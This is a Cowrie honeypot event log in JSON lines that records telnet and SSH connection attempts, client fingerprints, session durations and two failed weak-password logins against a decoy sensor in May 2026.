{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":39278,"dst_ip":"159.203.135.109","dst_port":23,"session":"8cb95c943f4b","protocol":"telnet","message":"New connection: 38.60.198.128:39278 (159.203.135.109:23) [session: 8cb95c943f4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:15:57.778543Z"}
{"eventid":"cowrie.session.closed","duration":39.249412298202515,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:15:58.022237Z","src_ip":"38.60.198.128","session":"b0ed2c5b8fe3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.21595883369446,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:15:58.907674Z","src_ip":"38.60.198.128","session":"6d41905066df","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"197.97.45.41","src_port":60844,"dst_ip":"159.203.135.109","dst_port":23,"session":"aaa8e8e7d404","protocol":"telnet","message":"New connection: 197.97.45.41:60844 (159.203.135.109:23) [session: aaa8e8e7d404]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:16:00.601906Z"}
{"eventid":"cowrie.session.closed","duration":51.351537466049194,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:16:02.176427Z","src_ip":"45.81.23.16","session":"149c281183fe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"117.50.51.198","src_port":39858,"dst_ip":"10.17.0.5","dst_port":22,"session":"18853a900726","protocol":"ssh","message":"New connection: 117.50.51.198:39858 (10.17.0.5:22) [session: 18853a900726]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:16:05.001377Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:16:05.006883Z","src_ip":"117.50.51.198","session":"18853a900726","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:16:05.259980Z","src_ip":"117.50.51.198","session":"18853a900726","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":52.515875577926636,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:16:05.902254Z","src_ip":"38.60.198.128","session":"8ec6af0988bf","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"qazwsx123","message":"login attempt [user/qazwsx123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:16:06.302994Z","src_ip":"117.50.51.198","session":"18853a900726","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.21191215515137,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:16:06.432962Z","src_ip":"38.60.198.128","session":"e0e5a0dea4b2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:16:07.565611Z","src_ip":"117.50.51.198","session":"18853a900726","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":51048,"dst_ip":"159.203.135.109","dst_port":23,"session":"c2172796b4e7","protocol":"telnet","message":"New connection: 38.60.198.128:51048 (159.203.135.109:23) [session: c2172796b4e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:16:08.104754Z"}
{"eventid":"cowrie.session.closed","duration":46.947150468826294,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:16:10.064431Z","src_ip":"38.60.198.128","session":"10e48a61f5df","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.75044775009155,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:16:10.124700Z","src_ip":"192.211.53.160","session":"4fe154a41835","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.86809587478638,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:16:11.262718Z","src_ip":"192.211.53.160","session":"c5b04264bf6d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":47676,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e61a933184f","protocol":"telnet","message":"New connection: 144.91.112.66:47676 (10.17.0.5:23) [session: 5e61a933184f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:16:17.880626Z"}
{"eventid":"cowrie.session.closed","duration":45.850083112716675,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:16:19.244966Z","src_ip":"38.60.198.128","session":"59140d7e2f14","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":37862,"dst_ip":"159.203.135.109","dst_port":23,"session":"7eb4290f723a","protocol":"telnet","message":"New connection: 38.60.198.128:37862 (159.203.135.109:23) [session: 7eb4290f723a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:16:19.896052Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":36138,"dst_ip":"159.203.135.109","dst_port":23,"session":"aa20a8b9f021","protocol":"telnet","message":"New connection: 38.60.198.128:36138 (159.203.135.109:23) [session: aa20a8b9f021]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:16:21.252039Z"}
{"eventid":"cowrie.session.closed","duration":59.831782817840576,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:16:22.177443Z","src_ip":"38.60.198.128","session":"648bdfc8729a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.31168079376221,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:16:24.162965Z","src_ip":"192.211.53.160","session":"21f0d9d7dc27","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.051779747009277,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:16:26.085172Z","src_ip":"144.91.112.66","session":"97babb3c10da","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.39768671989441,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:16:27.545414Z","src_ip":"192.211.53.160","session":"670556a774a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":45084,"dst_ip":"159.203.135.109","dst_port":23,"session":"4f17a4e3a6f6","protocol":"telnet","message":"New connection: 38.60.198.128:45084 (159.203.135.109:23) [session: 4f17a4e3a6f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:16:28.532358Z"}
{"eventid":"cowrie.session.closed","duration":41.25689125061035,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:16:29.728934Z","src_ip":"38.60.198.128","session":"df225989787a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.420424461364746,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:16:39.198854Z","src_ip":"38.60.198.128","session":"8cb95c943f4b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":49516,"dst_ip":"10.17.0.5","dst_port":23,"session":"bac844b5b94d","protocol":"telnet","message":"New connection: 144.91.112.66:49516 (10.17.0.5:23) [session: bac844b5b94d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:16:39.551857Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":34308,"dst_ip":"159.203.135.109","dst_port":23,"session":"86361b7a5f20","protocol":"telnet","message":"New connection: 38.60.198.128:34308 (159.203.135.109:23) [session: 86361b7a5f20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:16:39.566074Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":50992,"dst_ip":"10.17.0.5","dst_port":23,"session":"c8d4307821d9","protocol":"telnet","message":"New connection: 144.91.112.66:50992 (10.17.0.5:23) [session: c8d4307821d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:16:40.068407Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":55412,"dst_ip":"159.203.135.109","dst_port":23,"session":"b61c082eebdf","protocol":"telnet","message":"New connection: 38.60.198.128:55412 (159.203.135.109:23) [session: b61c082eebdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:16:42.070394Z"}
{"eventid":"cowrie.session.closed","duration":38.33278679847717,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:16:46.437417Z","src_ip":"38.60.198.128","session":"c2172796b4e7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.90381360054016,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:16:48.784297Z","src_ip":"144.91.112.66","session":"5e61a933184f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.56.227","src_port":43118,"dst_ip":"10.17.0.5","dst_port":22,"session":"e035c94502f6","protocol":"ssh","message":"New connection: 198.98.56.227:43118 (10.17.0.5:22) [session: e035c94502f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:16:50.408439Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:16:50.413006Z","src_ip":"198.98.56.227","session":"e035c94502f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:16:50.422352Z","src_ip":"198.98.56.227","session":"e035c94502f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mailtest","password":"1","message":"login attempt [mailtest/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:16:50.492405Z","src_ip":"198.98.56.227","session":"e035c94502f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:16:51.506668Z","src_ip":"198.98.56.227","session":"e035c94502f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":50466,"dst_ip":"159.203.135.109","dst_port":23,"session":"6b6ff96b9ea2","protocol":"telnet","message":"New connection: 38.60.198.128:50466 (159.203.135.109:23) [session: 6b6ff96b9ea2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:16:52.802681Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":48774,"dst_ip":"159.203.135.109","dst_port":23,"session":"04ad3780ac91","protocol":"telnet","message":"New connection: 38.60.198.128:48774 (159.203.135.109:23) [session: 04ad3780ac91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:16:54.403737Z"}
{"eventid":"cowrie.session.closed","duration":1.7023491859436035,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:16:56.105955Z","src_ip":"38.60.198.128","session":"04ad3780ac91","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00254368782043,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:16:57.069940Z","src_ip":"38.60.198.128","session":"d42bc2ebc14b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":41814,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a2c161b62e2","protocol":"telnet","message":"New connection: 144.91.112.66:41814 (10.17.0.5:23) [session: 5a2c161b62e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:16:57.552463Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":49168,"dst_ip":"10.17.0.5","dst_port":23,"session":"11b6c7820ea5","protocol":"telnet","message":"New connection: 144.91.112.66:49168 (10.17.0.5:23) [session: 11b6c7820ea5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:16:59.934293Z"}
{"eventid":"cowrie.session.closed","duration":39.298490047454834,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:17:00.550441Z","src_ip":"38.60.198.128","session":"aa20a8b9f021","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":49250,"dst_ip":"159.203.135.109","dst_port":23,"session":"6d442305f56b","protocol":"telnet","message":"New connection: 192.211.53.160:49250 (159.203.135.109:23) [session: 6d442305f56b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:17:02.313083Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":49280,"dst_ip":"159.203.135.109","dst_port":23,"session":"dad14a9aceae","protocol":"telnet","message":"New connection: 192.211.53.160:49280 (159.203.135.109:23) [session: dad14a9aceae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:17:02.377297Z"}
{"eventid":"cowrie.session.closed","duration":43.39309358596802,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:17:03.289060Z","src_ip":"38.60.198.128","session":"7eb4290f723a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":35694,"dst_ip":"10.17.0.5","dst_port":23,"session":"d259d1142126","protocol":"telnet","message":"New connection: 144.91.112.66:35694 (10.17.0.5:23) [session: d259d1142126]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:17:06.352216Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":36686,"dst_ip":"159.203.135.109","dst_port":23,"session":"67267ddd854c","protocol":"telnet","message":"New connection: 38.60.198.128:36686 (159.203.135.109:23) [session: 67267ddd854c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:17:07.136259Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":35590,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa356527cf00","protocol":"telnet","message":"New connection: 144.91.112.66:35590 (10.17.0.5:23) [session: fa356527cf00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:17:07.313363Z"}
{"eventid":"cowrie.session.closed","duration":1.8212189674377441,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:17:08.957293Z","src_ip":"38.60.198.128","session":"67267ddd854c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.214478015899658,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:17:10.766209Z","src_ip":"144.91.112.66","session":"bac844b5b94d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00080418586731,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:17:10.893314Z","src_ip":"177.157.238.18","session":"d81f79c0902c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.0210440158844,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:17:11.089321Z","src_ip":"144.91.112.66","session":"c8d4307821d9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":44888,"dst_ip":"159.203.135.109","dst_port":23,"session":"50ec8c8187a1","protocol":"telnet","message":"New connection: 38.60.198.128:44888 (159.203.135.109:23) [session: 50ec8c8187a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:17:11.096291Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":52568,"dst_ip":"10.17.0.5","dst_port":23,"session":"60ec7e12eea1","protocol":"telnet","message":"New connection: 144.91.112.66:52568 (10.17.0.5:23) [session: 60ec7e12eea1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:17:12.826005Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":47024,"dst_ip":"159.203.135.109","dst_port":23,"session":"b178c3cefa9c","protocol":"telnet","message":"New connection: 38.60.198.128:47024 (159.203.135.109:23) [session: b178c3cefa9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:17:13.049685Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":55770,"dst_ip":"10.17.0.5","dst_port":23,"session":"d73db7301853","protocol":"telnet","message":"New connection: 144.91.112.66:55770 (10.17.0.5:23) [session: d73db7301853]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:17:14.030521Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":57724,"dst_ip":"10.17.0.5","dst_port":23,"session":"b908a54926c2","protocol":"telnet","message":"New connection: 144.91.112.66:57724 (10.17.0.5:23) [session: b908a54926c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:17:14.783260Z"}
{"eventid":"cowrie.session.connect","src_ip":"177.157.238.18","src_port":46580,"dst_ip":"10.17.0.5","dst_port":23,"session":"f91ca800a1e9","protocol":"telnet","message":"New connection: 177.157.238.18:46580 (10.17.0.5:23) [session: f91ca800a1e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:17:16.106364Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":33666,"dst_ip":"10.17.0.5","dst_port":23,"session":"63cad602e998","protocol":"telnet","message":"New connection: 144.91.112.66:33666 (10.17.0.5:23) [session: 63cad602e998]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:17:16.291936Z"}
{"eventid":"cowrie.session.closed","duration":39.32882738113403,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:17:18.894775Z","src_ip":"38.60.198.128","session":"86361b7a5f20","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":48694,"dst_ip":"10.17.0.5","dst_port":23,"session":"4422685fb696","protocol":"telnet","message":"New connection: 144.91.112.66:48694 (10.17.0.5:23) [session: 4422685fb696]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:17:22.364777Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":37668,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce96617d69bd","protocol":"telnet","message":"New connection: 38.54.119.93:37668 (10.17.0.5:23) [session: ce96617d69bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:17:23.564765Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":55154,"dst_ip":"10.17.0.5","dst_port":23,"session":"01128aab44dd","protocol":"telnet","message":"New connection: 144.91.112.66:55154 (10.17.0.5:23) [session: 01128aab44dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:17:24.653193Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":35862,"dst_ip":"159.203.135.109","dst_port":23,"session":"9ef5e46f667a","protocol":"telnet","message":"New connection: 38.60.198.128:35862 (159.203.135.109:23) [session: 9ef5e46f667a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:17:24.674468Z"}
{"eventid":"cowrie.session.connect","src_ip":"113.249.113.90","src_port":48466,"dst_ip":"10.17.0.5","dst_port":23,"session":"16f5682ac04d","protocol":"telnet","message":"New connection: 113.249.113.90:48466 (10.17.0.5:23) [session: 16f5682ac04d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:17:25.084078Z"}
{"eventid":"cowrie.session.closed","duration":44.63152074813843,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:17:26.701801Z","src_ip":"38.60.198.128","session":"b61c082eebdf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":35594,"dst_ip":"10.17.0.5","dst_port":23,"session":"3eb5352ec12c","protocol":"telnet","message":"New connection: 144.91.112.66:35594 (10.17.0.5:23) [session: 3eb5352ec12c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:17:27.829299Z"}
{"eventid":"cowrie.session.closed","duration":30.783360958099365,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:17:28.335685Z","src_ip":"144.91.112.66","session":"5a2c161b62e2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.210.199.98","src_port":49862,"dst_ip":"10.17.0.5","dst_port":22,"session":"93f1c41a27a6","protocol":"ssh","message":"New connection: 192.210.199.98:49862 (10.17.0.5:22) [session: 93f1c41a27a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:17:29.377456Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:17:29.381774Z","src_ip":"192.210.199.98","session":"93f1c41a27a6","protocol":"ssh"}
